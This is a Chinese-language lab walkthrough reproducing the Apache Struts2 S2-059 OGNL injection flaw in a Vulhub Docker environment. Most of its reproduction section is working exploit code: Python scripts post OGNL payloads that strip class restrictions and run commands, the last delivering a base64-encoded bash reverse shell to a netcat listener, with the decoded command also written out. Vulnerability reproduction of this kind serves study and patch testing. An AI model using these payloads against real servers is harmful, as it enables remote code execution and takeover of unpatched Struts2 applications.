本文最后更新于676 天前,其中的信息可能已经过时
1. Struts2介绍
Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
2. 漏洞概括
攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
3. 影响版本
Struts 2.0.0 – Struts 2.5.20
4. 环境搭建
Vulhub:https://vulhub.org/#/environments/struts2/s2-059/
cd struts2/s2-059 #切换目录
docker-compose up -d #拉取环境
5. 漏洞复现
5.1 访问环境
访问地址:http://192.168.153.129:8080/?id=1
5.2 漏洞验证
poc – 漏洞简单验证测试代码
http://192.168.153.129:8080/?id=%25{2*2}
可以看到%{2*2}表达式被执行了 4
5.3 漏洞利用
payload – python代码
import requests
url = “http://192.168.153.129:8080″
data1 = {
“id”: “%{(#context=#attr[‘struts.valueStack’].context).(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(”)).(#ognlUtil.setExcludedPackageNames(”))}”
}
data2 = {
“id”: “%{(#context=#attr[‘struts.valueStack’].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘touch /tmp/success‘))}”
}
res1 = requests.post(url, data=data1)
print(res1.text)
res2 = requests.post(url, data=data2)
print(res2.text)
环境截图 success创建成功
5.4 反弹shell
攻击机监听
nc -lvnp 8866
反弹shell命令
bash -i >& /dev/tcp/192.168.153.129/8866 0>&1
将反弹shell命令base64编码使用bash -c执行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMjkvODg2NiAwPiYx}|{base64,-d}|{bash,-i}
python执行payload
反弹shell-payload-python
import requests
url = “http://192.168.153.129:8080″
data1 = {
“id”: “%{(#context=#attr[‘struts.valueStack’].context).(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(”)).(#ognlUtil.setExcludedPackageNames(”))}”
}
data2 = {
“id”: “%{(#context=#attr[‘struts.valueStack’].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMjkvODg2NiAwPiYx}|{base64,-d}|{bash,-i}‘))}”
}
res1 = requests.post(url, data=data1)
print(res1.text)
res2 = requests.post(url, data=data2)
print(res2.text)
成功拿到shell
参考文章:
https://www.php.cn/faq/547528.html